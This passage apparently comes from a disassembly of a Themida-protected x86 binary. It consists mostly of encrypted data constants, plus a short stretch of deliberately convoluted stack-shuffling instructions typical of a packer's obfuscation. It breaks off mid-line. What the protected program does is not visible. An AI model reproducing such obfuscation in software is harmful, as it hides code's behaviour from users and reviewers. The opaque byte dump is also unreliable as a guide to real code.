dd 3923E077h, 802ABBECh, 452F0CEDh, 802ABBF8h, 0E6ED10F1h dd 56946D9Eh, 0CA77F16Ah, 0B704EED7h, 0B0802AC7h, 3DDD00CFh dd 0EAh, 0DEB5A956h, 0F94413E8h, 46E9FF22h, 4A2F7A51h dd 9B2696Ch, 31C9D21Fh, 0F4F2D386h, 0E31D79Fh, 2610F3E9h dd 86319ED9h, 0DF2AF9DAh, 805B4DFAh, 9AE5B48Bh, 0BA3EA0C3h dd 0B48631A3h, 4F16E8BFh, 0A893855Ah, 31A271BEh, 0C2917286h dd 86D1A077h, 0E9C65ECDh, 38D22FFFh, 9339178Ch, 15F81616h dd 6849678Ah, 0E440EB96h, 0AA9D4A07h, 0C14AACCFh, 9B8633B8h dd 25A8BEBDh, 0C1E4CD4Eh, 0FACDC4A3h, 0ABA14E2Bh, 0E491DEC8h dd 0B1928622h, 4C1BECE4h, 7BC5A37Ah, 0D4BEF6F7h, 3C876456h dd 0D7C99665h, 0BCB2D7FAh, 47E230E7h, 77049DFDh, 0C52Dh dd 0ECBBB400h, 895C531Ah, 27F8F0B7h, 0BF9C8E55h, 5B3026EDh dd 276B789h, 9E65370Ch, 37FED0ABh, 0D1986A43h, 1A3305DCh dd 0DCA6F3DDh, 5E9F8024h, 7B504660h, 16EDE2A9h, 51468C44h dd 9D4A2F7Ah, 8CB1D4A5h, 43EEC097h, 755F3C28h, 8C3EB277h dd 44190EBBh, 61AC7B4Ch, 6849678Ah, 4D53481Dh, 4ADB3F78h dd 7E4D6EDh, 0D0976938h, 3D0E06DBh, 0F0E4916Eh, 0E4D21F09h dd 0F2D38024h, 4B5D0023h, 88F573B4h, 4994675Eh, 60AB7C74h dd 0F2C5BC89h, 3E0D2A7h, 0EFAFF7C6h, 0C47ACACBh, 1F35C9CFh dd 1B096594h, 0BEB37A4Ch, 0D5C79CE7h, 6B68ADF8h, 0CCEFCCBEh dd 0CABF7DC5h, 655A21F3h, 3F9438Eh, 21000000h, 4D466767h dd 695E337Eh, 7E724792h, 92855AA5h, 0A1976CB7h, 0B6AC81CCh dd 0CFC196E1h, 0DAD2A7F2h, 0F2E9BE09h, 5088D41Fh, 405E089h dd 83000000h, 0FF5004E8h, 58042474h, 5C24048Fh, 81E38953h dd 4C3h, 4EB8100h, 87000000h, 895C241Ch db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push edi mov edi, 344157A4h mov ebx, 0D1CB8E16h add ebx, edi mov edi, [esp] add esp, 4 push 49F2h mov [esp], esp add dword ptr [esp], 4 pop edx push 1072h mov [esp], ebx pop dword ptr [edx+8] push dword ptr [esp] pop edx add esp, 4 mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_550968 ; --------------------------------------------------------------------------- a1Agz db 'х1=═gz',0 db 3Ch, 13h, 29h dd 0F17CB81Bh, 0C503060Ch, 5E85E0FFh, 43EB6F65h, 0E1456DEh dd 0B94C0368h, 9D7CFFh, 42B25E22h, 373819C4h, 9A7B0AE4h dd 67AD2C64h, 0FEDE081Bh, 647718FDh, 4C720B95h, 7C336A6Ch dd 0C1333958h, 70822581h, 4E316A7Dh, 5B776D56h, 0D1EF7F19h dd 319755B6h, 5FC16784h, 5D90105h, 91B51887h, 0AF973ED5h dd 198705FAh, 315F573Ch, 39CF116Fh, 9DDB6D85h db 3Ch, 37h word_59BA4E dw 8D8Dh ; DATA XREF: Themida_:0053E288o dd 60CF344h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0D1C35343h, 0BE9h, 0A6D19500h, 0D61E61A9h, 0E68545Eh dd 1AD98D89h, 958B0607h, 6070AB9h, 101D85C7h, 6BC00607h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0BB66BCC3h, 8501B595h, 6071AC9h, 330585C7h dd 607h, 9D0B0000h, 6072C89h, 0BE9B5FFh, 85290607h, 6072C81h dd 185995FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0DB6259C3h, 95FF006Ah, 6070D69h dd 5EEBC08Bh, 12F24723h, 5C5FDE05h, 0E4D5F0D4h, 3840BE91h dd 66805B19h, 8ACE7103h, 696A609Bh, 19113B64h, 795630D2h dd 18989307h, 143080B5h, 9C6AD33h, 1DD51B43h, 5FB824F0h dd 0F0C331B6h, 8988D96Ah, 82CE791Fh, 86DFAAFEh, 0F33A5103h dd 0D34F6526h, 2A973238h, 0ADDD06DFh, 1DD01140h, 0DE872DDh dd 9C000000h, 284FB496h, 0E203A9C8h, 5C8DDC7Ch, 0CE8h dd 0D5F81900h, 0F15CEA5Ch, 474AC343h, 7E833h, 0C6580000h dd 0A689D1CEh, 51ABBA11h, 5B5F46C3h, 8B0F5Eh, 81000000h dd 5D93C6h, 0F88B5700h, 0F0F6B85Bh, 0C0811DABh, 0E2542636h dd 47FAD381h, 0E8B78C3h, 0AE857h, 66B80000h, 0AF83E58Bh dd 35C2FE6Ah, 14C58D89h, 5F5F0607h, 0FF4EC181h, 6DBB1CBAh dd 8116E74Dh, 6EAFCCE9h, 9503605Ah, 607202Dh, 8161DE8Bh dd 265449F1h, 89DA8B76h, 13E80Eh, 90BC0000h, 0BFCC8477h dd 0CFD53D44h, 7D52E271h, 5987417Ch, 0F98B6611h, 3EE835Bh dd 4EDBBF0Fh, 8FAEF281h, 0E8811AF3h, 1, 0D850Fh, 1BE90000h dd 4000000h, 5DB30E3Eh, 0F929EE7h, 77E9DAB7h, 0BFFFFFFh dd 91548D64h, 0D2976ACEh, 8D8D8D8Eh, 60CF530h, 13E9h, 0BC640C00h dd 0DBF0BAC6h, 0F7603E9Eh, 0ABCF2FA5h, 6AE1DB69h, 0A2DBD8Bh dd 8D890607h, 6071AD9h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0FDC35242h, 0F7543B39h, 1D85C7E9h, 3C060710h dd 8B000073h, 585C7D8h, 60733h, 66000000h, 0B5FFD08Bh dd 6070469h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 75C35545h, 5326395Eh, 0FF8BA490h, 7185995h, 0FA8B6606h dd 95FF006Ah, 6070D69h, 48EBC08Bh, 8F2EB188h, 0F6F79Bh dd 0BDAAE458h, 9C9A9FFDh, 79C4C1A8h, 0CB8DE535h, 837FD023h dd 2FEFDF49h, 5C1381E9h, 5809CDC8h, 0C004DD27h, 0E35F8B90h dd 2F124CD3h, 55904AF2h, 92C84BF3h, 64EF0EA2h, 0C8790131h dd 28B634C0h, 7D0079EBh, 218CEF9Eh, 0AFD60FE2h, 0B2979FABh dd 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h, 77609BB6h, 94A9B6F3h dd 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h dd 937E9BB9h, 96B99D89h, 9E96AFF4h, 0D6B594A1h, 0FD91A7h dd 4ACC48D1h, 713C3359h, 0DB4D5200h, 0D65EF357h, 0B79BB7h dd 95ABAFF6h, 0F0009F89h, 0D7C77156h, 1800BEB3h, 0C4D75671h dd 0CB73E2ADh, 0E939BFAEh, 105Ch, 0CF7E368h, 877DE906h dd 568FFFAh, 0E9060CF9h, 0FFFA8773h, 0CF9FD68h, 8769E906h dd 6F68FFFAh, 0E9060CFBh, 0FFFA875Fh, 0CFC0C68h, 8755E906h dd 0C968FFFAh, 0E9060CFCh, 0FFFA874Bh, 0CFD9268h, 8741E906h dd 6A68FFFAh, 0E9060CFEh, 0FFFA8737h, 0CFF5B68h, 872DE906h dd 1168FFFAh, 0E9060D00h, 0FFFA8723h, 0D016568h, 8719E906h dd 0A068FFFAh, 0E9060D03h, 0FFFA870Fh, 0D04A768h, 8705E906h dd 7CADFFFAh, 81AD54E9h, 7CAA51E6h, 76A54CE1h, 6C9F46DBh dd 91A944D9h, 7D12A3D6h, 770CA9D6h, 6E039ED0h, 6B0097C7h dd 0D142309Eh, 1C4396FCh, 0FC2C3305h, 9C44BAA1h, 53F47D2Ch dd 6DF525ACh, 0A36C0E7Fh, 1D865949h, 0A710924Eh, 61F6970Ah dd 82181098h, 0A283EA94h, 2BD2A547h, 8EFFED9Dh, 0D9439C53h dd 69D61C06h, 96439C53h, 726365B3h, 541FB65Bh, 36DD78ABh dd 49DC0E9Dh, 256B5Fh, 0ACF0000h, 6F48A82h, 47A30184h dd 27BEEEAFh, 9F46E780h, 9CE166D3h, 66B09343h, 0B5D17560h dd 12E671Fh, 2CCB0000h, 3BC269FCh, 3FC66D08h, 5FE2780Fh dd 3D50B38Eh, 0ACFC65A3h, 0C902AC71h, 0A027402Ah, 4230E070h dd 49A336D1h, 475491Ch, 4F49A336h, 26C1ED7Ch, 4E04F085h dd 0DB49A333h, 1C8D7B2Bh, 6749A332h, 324FC094h, 0D99A49A3h dd 0D26B12ADh, 16464731h, 1343EA7Fh, 9C24CD74h, 0A011FFAFh dd 0EB49A332h, 32D34418h, 0E41749A3h, 8911AA51h, 3262D3C1h dd 0DAAD49A3h, 14029839h, 47A243DAh, 440DA275h, 7E2EC4BCh dd 9C131F90h, 95306343h, 0FACD55EEh, 6D1A0810h, 2A419476h dd 0CB34E81h, 0BC8F8973h, 17887626h, 623D9266h, 0F49DA58Fh dd 0F49B30C1h, 5A5A30C1h, 58F07F28h, 0DD4A829h, 18490000h dd 1541E87Dh, 103EE57Ah, 0A39E075h, 33DA6Fh, 1D35D065h dd 1962F62h, 0FB902D5Ah, 0FA8F2254h, 0EF842353h, 55C6B422h dd 0A04396FBh, 0A225B789h, 82B2F1A6h, 6445AE1Eh, 69DAE621h dd 184B4C36h, 3E64E77Dh, 6DA30ED3h, 0EC9AA18Bh, 1BDD4E3Ch dd 552849A3h, 0A63A6A6Bh, 0A31B47B8h, 30BF9249h, 28C16801h dd 9B44F287h, 17E3CD68h, 0D9F27525h, 8A1BBD60h, 0FEFE6F43h dd 764949A2h, 0E9E1698Ch, 2F20A353h, 744A174Fh, 1294DAC4h dd 3D47A215h, 96DEB2A2h, 0C5664BAAh, 39E5521Eh, 2F12439Ch dd 11AD30E1h, 0EED37151h, 29BCEC7Bh, 27EFE63Fh, 0B4ED1FB6h dd 51000000h, 8674FC2Ch, 49A3F215h, 45EC8D60h, 0DF0C8BBEh dd 23119F46h, 49A3F2B2h, 0E8892AFDh, 0EEBF7541h, 235349A3h dd 2AD16496h, 0B45BF091h, 0BC4AF184h, 5D0A539h, 29134E3Bh dd 0F0867E06h, 0A23DC802h, 0FB906347h, 1CB2AA32h, 9473262Eh dd 0F48A5D41h, 947E194Bh, 15B0E38Ch, 0BA6D980h, 7F2B8B35h dd 870837F0h, 0CB2h, 0CA5FF627h, 0C358F723h, 0BE53EE1Ch dd 0B84DE817h, 0AE43DE11h, 0D40FB13h, 0B38DF74h, 436DD72h dd 535DC71h, 0A210DD72h, 96F943B4h, 0A5778E43h, 0B8497C25h dd 79ACDCEh, 79BCB72h, 0A3F2A819h, 532F349h, 8728C168h dd 2CDF51E6h, 3BC269FCh, 29D76C0Bh, 0F21A8B79h, 325E49A3h dd 0CB53EC93h, 0DF0D0EF8h, 31BB317Ch, 98398109h, 9B3A6AF1h dd 7DAF5806h, 0C0AA43EAh, 8B12AD1h, 30533DD8h, 5CCDBBA8h dd 0A749A300h, 0AF9D33D4h, 47A20705h, 0A31402B2h, 0E7439BF6h dd 0E07920B7h, 0A19B8558h, 0D07947CEh, 51EC1BA4h, 1280C6B0h dd 34B215E5h, 301EB4ACh, 4A10D56Eh, 0F69F4619h, 37E0766Eh dd 31CA7104h, 0DF8F3F47h, 9A6E0736h, 460AB429h, 0E412A174h dd 0A4195F49h, 0BF4404E4h, 81AD56ECh, 0BCA63FE6h, 3CDB0BB4h dd 35D000A7h, 0CD0A435Fh, 0C74877F5h, 0BBAh, 0D267FE2Fh dd 0CB60FF2Bh, 0C65BF624h, 0C055F01Fh, 0B64BE619h, 1548031Bh dd 1340E77Ch, 0C3EE57Ah, 0D3DE479h, 0AA18E57Ah, 96F94BBCh dd 0AD7F9643h, 0C269FC2Ch, 11D19119h, 5AD9B908h, 24958319h dd 6F49A320h, 0BC65FB9Ch, 0B952F98Ch, 2BD9C7CFh, 0F647A220h dd 3DC58E23h, 0FD8C2B57h, 0FF9536D1h, 90A897Ch, 654F02FFh dd 70ED6F5Dh, 610A419Bh, 0B5AF9934h, 9031C4F4h, 70B01DE9h dd 0C5F43D95h, 0CFFE852Ch, 17E88F36h, 84670D09h, 42A134BAh dd 7E2725BDh dd 0D7CBB550h, 64h, 8775253Bh, 49A3F216h, 0D772A061h, 0CF69730h dd 0D36961E9h, 0B65DF82Ah, 3D2B331Dh, 47A33769h, 6717AD80h dd 0D40691BEh, 72F9A041h, 6A03AA43h, 0ACDEDFC9h, 2D988419h dd 6D439CA7h, 344AE23Dh, 0B922BBE8h, 9435BDFDh, 0DC347BFEh dd 52F41E32h, 88BA6168h, 0AA39CCFFh, 9F38DF7Eh, 0BBD657FEh dd 4C00000Ah, 0F48A820Ah, 0DB821D4Bh, 62505842h, 47979C99h dd 42EB8154h, 81897312h, 770DA8D8h, 0AB58E1F4h, 0A13AE17Ch dd 9B4C7338h, 0D303AAB1h, 5CE48D34h, 0A8E0CE64h, 31418AECh dd 4C229381h, 9A6D3D8Ah, 543ED90Bh, 48F1875Ah, 42DB821Bh dd 77A75058h, 74A44BE0h, 9913AE1h, 0DF8D7B11h, 9C3B894Ah dd 3D27C6F3h, 49A7043h, 0BEEE4E0Ch, 0A480E8Fh, 8CBD0000h dd 91BD64F9h, 8CBA61F6h, 86B55CF1h, 7CAF56EBh, 0A1B954E9h dd 8D22B3E6h, 871CB9E6h, 7E13AEE0h, 7B10A7D7h, 0E15240AEh dd 2C4396F7h, 0A2254315h, 0BF94622h, 49A3339Ah, 73A912E5h dd 6BB19B0Eh, 49A37AFEh, 0AA09820h, 0F881B15Ah, 0E58C2DC8h dd 2C1C624Ch, 73479726h, 31610AA0h, 31CCF8A1h, 9685EC5Dh dd 63FE3043h, 0C89B23BCh, 0BBEB9227h, 44CC751Ch, 0E00DB64Ch dd 1B059E45h, 86772513h, 7A424195h, 8F861B8Ch, 493663Dh dd 0CAA041D4h, 0F07AC842h, 0AB0081B0h, 20000009h, 1AC156EFh dd 13BA4FEEh, 0EB54AE5h, 0AB146DFh, 0EA93ED7h, 6D083BF6h dd 690431D8h, 68FB2DD4h, 69FC2CD3h, 0AB9907D4h, 4396F63Ah dd 2C9C6E85h, 3BC269FCh, 0E2C56C0Bh, 0CD3E2CDCh, 1849A3F2h dd 36005B45h, 0AEBC25B0h, 0CEFAA319h, 3551452Fh, 79000004h dd 1A049DD0h, 507C254Eh, 20A8CBB5h, 0C8A49228h, 0EF47979Ch dd 2DD6861Ch, 26BF6601h, 7E0B3B3Ch, 7A13BA4Bh, 781FBEEBh dd 0F8A83EDFh, 96FC990Ah, 7ECC0343h, 3216FEBAh, 90A40FAAh dd 96983ACAh, 5D040BF5h, 27F39A2Dh, 439765BAh, 0C65C54DCh dd 6D57EA1Dh, 64C97765h, 0C1944196h, 7D2AB9EBh, 69EA19F0h dd 8EEh, 0FE933263h, 0F78C2B57h, 0F2872250h, 0EC811C4Bh dd 0EA7F1245h, 497C374Fh, 4F7C23B8h, 487A21B6h, 417118ADh dd 0D64411A6h, 96F677E8h, 0D9ABC243h, 0C269FC2Ch, 9C09B134h dd 48180C71h, 0F2DC7D18h, 7F26C1F1h, 44F5439Ch, 3DCC6B9Bh dd 36CF7611h, 24E2F34Ch, 34E419AFh, 0D62374B1h, 8C606D38h dd 49A31E1Bh, 0B5A99366h, 360h, 0F27AE719h, 149C49A3h dd 0F298861Ch, 9F47979Ch, 452FC6F6h, 39E2784Bh, 31CA710Ch dd 0E68F3F47h, 0DD761DB8h, 5BC2F2F3h, 0EE2DD8B9h, 0E27718A8h dd 0D15E8B34h, 0C16809A4h, 0D3D3E28h, 0A22AD37Ah, 54F590BCh dd 52E515BEh, 0C4726068h, 8F419618h, 7EB2E6BCh, 0D908F07Dh dd 82558h, 0CC699A00h, 0C9649037h, 0C45F8D34h, 0C059882Fh dd 0C051842Bh, 0BD78902Bh, 0BB62F78Ah, 0B35AEF8Eh, 0AA51E681h dd 7946DB7Ah, 0F5AC1D0Bh, 0E0F74396h, 69FC2C0Eh, 0F6A050D3h dd 47C3BF48h, 7F522FBCh, 240EAFAAh, 0A5D47D0Bh, 0B5507D0Ch dd 8A8B750Eh, 3B9ECD5Ah, 137A040Ch, 0F99A3B98h, 8166F52h dd 0AA3B6E17h, 9D6E67C0h, 956C19AFh, 0D0000002h, 0A3F27AE7h dd 1C149C49h, 0FE2DD686h, 3923BC63h, 979D58F3h, 962CFF47h dd 0FC87F8E6h, 0FFD24396h, 23494396h, 0BFA91E75h, 0E68407B7h dd 0CB8E666Bh, 0EF1F200Ah, 2412C258h, 439738B3h, 0FB375B1Dh dd 0E0686DA6h, 751C230Dh, 620BB245h, 5E4CE2DAh, 4196310Ch dd 53EE20C9h, 2F2913ACh, 5628865Ch, 0A3D2F07Dh, 74D22h dd 0F491C200h, 0F18CB85Fh, 0EC87B55Ch, 0E881B057h, 0E879AC53h dd 0E5A0B853h, 0E38A1FB2h, 0DB8217B6h, 0D2790EA9h, 0A16E03A2h dd 0F4D44533h, 81F4396h, 69FC2C36h, 6C0B3BC2h, 10C753D6h dd 0D909AD2Fh, 1C4FD6EFh, 6654E289h, 49A381F5h, 0ABDE6D40h dd 1CAF731Ah, 0F3591212h, 0DA811C4Ah, 0DF862153h, 60BBA546h dd 9D3868D6h, 84B15A08h, 40A942E9h, 0A4AB6D2Bh, 27806A04h dd 19AF3DAEh, 0B1A99518h, 0D33C73C9h, 0DB44E9DAh, 6D578FD7h dd 779h, 9532DD00h, 0A8000001h, 0A3F278E7h, 160E9649h dd 684DD080h, 0EC5C0ABFh, 0DC6FE0B4h, 0E7BA49A3h, 6D07F5FDh dd 8479787h, 0D67D1847h, 5D069C3Dh, 5B049A2Dh, 4FE88F2Eh dd 7B05E65h, 53543ED9h, 34DD8423h, 301EB4ACh, 4195FCDEh dd 38BFF29Bh, 0E2CC6D08h, 0E73F15E8h, 3F07A82h, 65C53D4h dd 0A0D10000h, 9DC97005h, 98C66D02h, 92C168FDh, 88BB62F7h dd 0A5BD58EDh, 891EB7EAh, 8318B5E2h, 8217AADCh, 770CABDBh dd 0DD4E3CAAh, 284396F3h, 0FC2C3F11h, 0B3BC269h, 5B14C56Ch dd 943363CDh, 0BFD500FFh, 70719AEh, 6B000000h, 0EB32h dd 77E7A800h, 9549A3F2h, 917F150Dh, 47979CC0h, 7922B88Bh dd 9518AE49h, 5D5A30F8h, 14B3E38Ch, 4933D46Dh, 0F6E49442h dd 43977185h, 46E10FD0h, 7B65069Fh, 4AB4A7Ah, 0F8E6D35Bh dd 43977187h, 5A019CCBh, 0C56639C1h, 87EF412Fh, 29AC4196h dd 355798EFh, 0A6D261FBh, 50231D07h, 7DC0207Ah, 22A3D2F0h dd 5A6h, 0B64BEA1Bh, 0AF44E30Fh, 0AA3FDA08h, 0A439D403h dd 0A237CAFDh, 134EF07h, 734DB70h, 32D96Eh, 0F929D065h dd 8EFCC95Eh, 96F22FA0h, 91637A43h dword_59C800 dd 0C269FC2Ch, 0C56C0B3Bh, 63CD5B14h, 0FF9433h, 19AEBFD5h ; DATA XREF: Themida_:00561106o dd 0E07h, 7C256B00h, 730CB34Eh, 2E8E89h, 2C040000h, 3BC269FCh dd 1C56C0Bh, 0EC6FA06Eh, 0AF6E796h, 5B5C461Ch, 4DF68C2Bh dd 2FA08E1Eh, 7A49A39Dh, 0C65F06A7h, 2734D5DCh, 0AA000000h dd 2C04A225h, 31C1E944h, 91164647h, 841DC45Fh, 74A44DE3h dd 0B7A13AE1h, 0BF64D29Eh, 85BE49A3h, 0CA5D8DBBh, 0A225C335h dd 0ACD37773h, 0F7F8E256h, 0EA9A30C7h, 0A3E28BFCh, 0E215D649h dd 6E0FA84Fh, 3AC26B84h, 0F5BEAC42h, 0B047978Ch, 0EE9747DDh dd 1C7D24C1h, 40E7FA67h, 432DCE8Eh, 0DE731242h, 0DA700737h dd 0DF586F57h, 0D74037D6h, 2A9235DCh, 132C16C8h, 19ACDC85h dd 4977E1B0h, 4A34B9DAh, 8BB99F27h, 0FB049F0h, 7A538B79h dd 17EA418Ah, 1FA8D881h, 22B859ECh, 0D9138472h, 8B5E3D89h dd 43EC9AA1h, 3AD37A15h, 881F4F50h, 78AA53E1h, 0B85574DDh dd 1944E135h, 8C840C2Fh, 345A08F6h, 52253B88h, 4F1ADC7Ch dd 0F677A6EEh, 452h, 6AFF96C7h, 63F897C3h, 5EF38EBCh, 58ED88B7h dd 4EE37EB1h, 0ADE09BB3h, 0ABD87F14h, 0A4D67D12h, 0A5D57C11h dd 42B07D12h, 96F1E354h, 45172E43h, 0D469FC2Ch, 0B5507D26h dd 8A8B750Eh, 8D14BB5Ah, 7223CA5Dh, 8C41890Ch, 30D8DE49h dd 0F35DEB46h, 908F24C3h, 19AF0845h, 5797h, 820AFB00h dd 0FEC19AC2h, 0DC7D03D1h, 0D36E9D46h, 0A1A9932Ch, 0A2BDDFB3h dd 8D23F647h, 891FB2E4h, 2D7AEBD9h, 0F2C5439Ch, 0AA150108h dd 0EA439C2Dh, 3D2B53BAh, 778E17CBh, 0EA9341D6h, 30311BBAh dd 24CD63FEh, 2CBA61F4h, 9C0BCD3Eh, 0A4451843h, 9F20A1BAh dd 96000003h, 0F48A820Ah, 0D26D9B44h, 834A2E8h, 0C87147A3h dd 44E3139Ch, 969BFCA3h, 0A4B1D05Ch, 5C5640E1h, 2B5BE289h dd 8E21E58Ch, 6EC7480h, 89E3FD6h, 9B2AAC1Ah, 1240E941h dd 4D37D077h, 22EB8053h, 8FA8DA9Ah, 67EDDF20h, 95FE9690h dd 0F293AF9Bh, 33006E5Ch, 8A4B3B94h, 821BC25Bh, 80B33AE1h dd 8AD33EE5h, 0F0E870BCh, 0BC27AA5Ah, 31959233h, 0EB599F89h dd 36358DFCh, 0F727CE63h, 232B960h, 7D05CE63h, 5701EF85h dd 42F86E3h, 33665381h, 0A58FB95Fh, 1BBAEAABh, 9A07D37Ah dd 0C72B8066h, 41945AE4h, 9B37D248h, 3Bh, 8A820AFFh, 0E55644F4h dd 3049A3F1h, 7D6B735Dh, 47A2FFFBh, 0E0AC5326h, 439CDF73h dd 0BE73BDA0h, 0DFAF200Eh, 5FFA439Ch, 0C7D91575h, 0BCA64764h dd 0B5DE7263h, 0E4681Fh, 2CCC0000h, 2AD369FCh, 5F7862FBh dd 650CA5D8h, 0FD29AEDEh, 7335F9Ah, 49EA302Ch, 4A7A01A8h dd 3C6C15ABh, 0DA6902A9h, 202711ACh, 0A39D7E34h, 43E21249h dd 40D707AEh, 8268F099h, 0FC9BC750h, 7B24BA5Bh, 2E1CB24Dh dd 49A39CBDh, 434B3508h, 0A27D6755h, 49DFB247h, 0E66A62C6h dd 17AD2561h, 9CD3B829h, 46300343h, 0F6EE763Fh, 0DB07B060h dd 0DB0E953Ch, 690AA34Ah, 6B12ABDAh, 12A2E8D2h, 59419535h dd 1447F086h, 8E3EEC81h, 93252FA0h, 0BDA77A3Dh, 22F889BCh dd 0F07E683Ch, 1756D706h, 8C000002h, 8E35CA5Bh, 872EC362h dd 8229BE59h, 7E25BA53h, 8A25BA4Bh, 0F184B772h, 0ED88B55Ch dd 0E47FB158h, 0DD78A84Fh, 1F0D7B48h, 4396EFAEh, 2C10E2F9h dd 0FF71A0F9h, 0DDDA5D9h, 30D76Ch, 0DAE4977h, 820A0678h dd 9B44F48Ah, 0A2E8D26Dh, 47A30120h, 39E2784Bh, 6C856F0Ah dd 9CE133A0h, 4DD06043h, 0D3D22430h, 42287347h, 0C6225A8Eh dd 56E03B25h, 0B61B4590h, 0DC971Fh, 2CFB0000h, 3BC269FCh dd 0FAC66D08h, 49A3EF44h, 780DA8D8h, 5F06A1D1h, 0A0362EB6h dd 0A2CEC4B2h, 2E740F47h, 0FE731EB8h, 0A617059Bh, 0F1439C8Ch dd 3AE87D1Eh, 0A7D65F91h, 2DCE670Eh, 6957ED86h, 439C8BF8h dd 63867043h, 9D4DE3DBh, 572BC6F4h, 439C8BE6h, 6C745E31h dd 94F0D97Eh, 2BC19441h, 20B64F82h, 0E0118270h, 0C15C3D92h dd 3C0FA787h, 0E049EA50h, 400EAB4Eh, 0F7FEE8B0h, 66961D50h dd 0E4582ECFh, 0D6F07F05h, 11026A7h, 54850000h, 59852CC1h dd 548229BEh, 4E7D24B9h, 44771EB3h, 69811CB1h, 55EA7BAEh dd 4FE481AEh, 46DB76A8h, 43D86F9Fh, 0A91A0876h, 0F44396EEh dd 0F92C0BDDh, 0FD29D268h, 0F20E7F6Dh, 865949A3h, 0FA53EE5h dd 0A3F2B021h, 3E28FB49h, 0C5609037h, 0FC2CBE30h, 0B3BC269h dd 860ED76Ch, 490AF88Eh, 0F447979Dh, 0C3F37A21h, 0E666665Ch dd 4BEC8BA4h, 0AF5808B6h, 9E0FE382h, 0E94396F9h, 0BB5CF528h dd 0C269FC2Ch, 0E3E3F29h, 0AE04D077h, 857A4861h, 7D3CC245h dd 8C02849Ch, 4FF947A2h, 45F3881Fh, 2D116C9Ch, 0C03F4D67h dd 0DBDCC667h, 59EC1EABh, 0DA8311B8h, 0CE670EA7h, 19B4E3E4h dd 59BCEB72h, 1678E5CEh, 0F69D3EC7h, 1AA93C6Fh, 0F6A74EE7h dd 0C033F33Dh, 0BB2C1ACAh, 603E4B4h, 20EE4933h, 9A2FC6F6h dd 51B93CECh, 0F137B96Eh, 0AE32A377h, 0AA7D03E4h, 0F88FBFC0h dd 0EA1AC351h, 210BA44Bh, 0D26h, 75259C00h, 0A3F21687h dd 0A48E6149h, 0FB2CF3D5h, 0C3CC36Ah, 194BD279h, 2350D77Eh dd 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h dd 566711B8h, 0C681E689h, 4, 5604EE83h, 42474FFh, 24048F5Eh dd 131E685Ch, 14890000h, 0E7895724h, 4C781h, 0EF830000h dd 243C8704h, 242C895Ch, 0CF67F68h, 24148B06h, 5404C483h dd 81242C8Bh, 4C4h, 8B95100h, 1000000h, 0BB53E9h, 1000000h dd 5B1389CBh, 2434FF59h, 4C4835Dh, 5A2434FFh, 4C481h, 38E90000h dd 65FFFA77h, 12047710h, 54D8E7F7h, 22D73B32h, 0D05DCB8h dd 0FFC50306h, 7E22F6E0h, 0B2A9F220h, 0BA46B7Fh, 5B5FC535h dd 0E23F5765h, 1530EE20h, 2EA0E33Bh, 9F929014h, 0BDBD5415h dd 7FF4A66h, 1C75A24Eh, 2509D65Ah, 0D631CA22h, 3CFDAA6Eh dd 5C14E36Ch, 8B6E6C4Ch, 18CB3660h, 453A2125h, 1B84448h dd 672AAF61h, 4103E552h, 7277BF3Fh, 7AB1A76Dh, 0BDC50B50h dd 0EEBDC74Fh, 10361859h, 506BEA54h, 0F7378061h, 6E04EB03h dd 0E94E8EAAh, 553h, 0F2871E4Fh, 0EB801F4Bh, 0E67B1644h dd 0E075103Fh, 0D66B0639h, 3568233Bh, 3360079Ch, 2C5E059Ah dd 2D5D0499h, 0CA38059Ah, 96EC6BDCh, 919FB643h, 781FBAE8h dd 0EC8BFCEAh, 3D64396h, 25AC7862h, 0FA87F275h, 0A7D37FEFh dd 0A34562D3h, 0F0DAAD49h, 8128BFEFh, 992EC7FAh, 7C23C2F2h dd 1244C5F5h, 9E3FD87Fh, 0A94470F7h, 7BFE3E02h, 659C5FAAh dd 2917ADD9h, 49A3A2B8h, 0EB463003h, 36C3F35Dh, 2CC56C09h dd 33DA6D9Dh, 0B664F99Ah, 0EAD57C33h, 0CDB79A57h, 72079ACCh dd 57FE99CBh, 2715A3D0h, 49A32AB6h, 882FCEFAh, 0F39467EFh dd 68EBE14Ch, 0FAB4FE14h, 0DD38223Ch, 20B3E553h, 21B4E48Bh dd 0CA40AE7Ah, 0CF2849A3h, 0E8567F41h, 0ED7019AEh, 0B2323250h dd 5EFC1696h, 83ECDB6Ch, 5704F8E2h, 68000000h, 0C269FC2Ch dd 0A3F28BF6h, 8166F49h, 0AEC00FC6h, 1CD19h, 2C310000h dd 37BE6500h, 3EC56C0Bh, 48CF760Fh, 4DD47B16h, 47E0871Ah dd 48EF8AB8h, 0D450DE97h, 76AB7508h, 1B05A0CDh, 6C5AEE1Ah dd 49A3F1FBh, 3DD27346h, 0B54C0C8Fh, 3F0D172Ch, 91245455h dd 0A2258AFCh, 0E0D37F73h, 63644EA9h, 4FFF9530h, 0A31EF061h dd 7E683B49h, 13B2DE65h, 0DA8D47Dh, 0A0590A23h, 0C9F8A196h dd 12454630h dd 1343EA7Fh, 1F20917Fh, 986B49A3h, 9BC950F7h, 2BBB5900h dd 10B75682h, 0E4328D77h, 0AF9103E2h, 7DF919h, 2C5D0000h dd 0BD4B7AF9h, 0A3F25ECFh, 35D6A949h, 3866ED94h, 9F32F69Dh dd 0E174A791h, 0DF72A54Ch, 0E782B138h, 0E079A851h, 6B5A077h dd 16004358h, 0AD4876FDh, 0B6517F06h, 0CD5BA40Fh, 7EC8AB51h dd 0AF5F6D78h, 628F19h, 2CF30000h, 4FD268F9h, 3E0A3164h dd 8E7C1248h, 49A3401Dh, 92AB9568h, 0A83ED90Bh, 8A70C825h dd 0FA89E0C5h, 0ED862DC8h, 927AEA03h, 321CB7E9h, 0ACDF49D7h dd 2C128419h, 0E8477700h, 4F3DBE8Dh, 4FF6973Dh, 58FF9AC8h dd 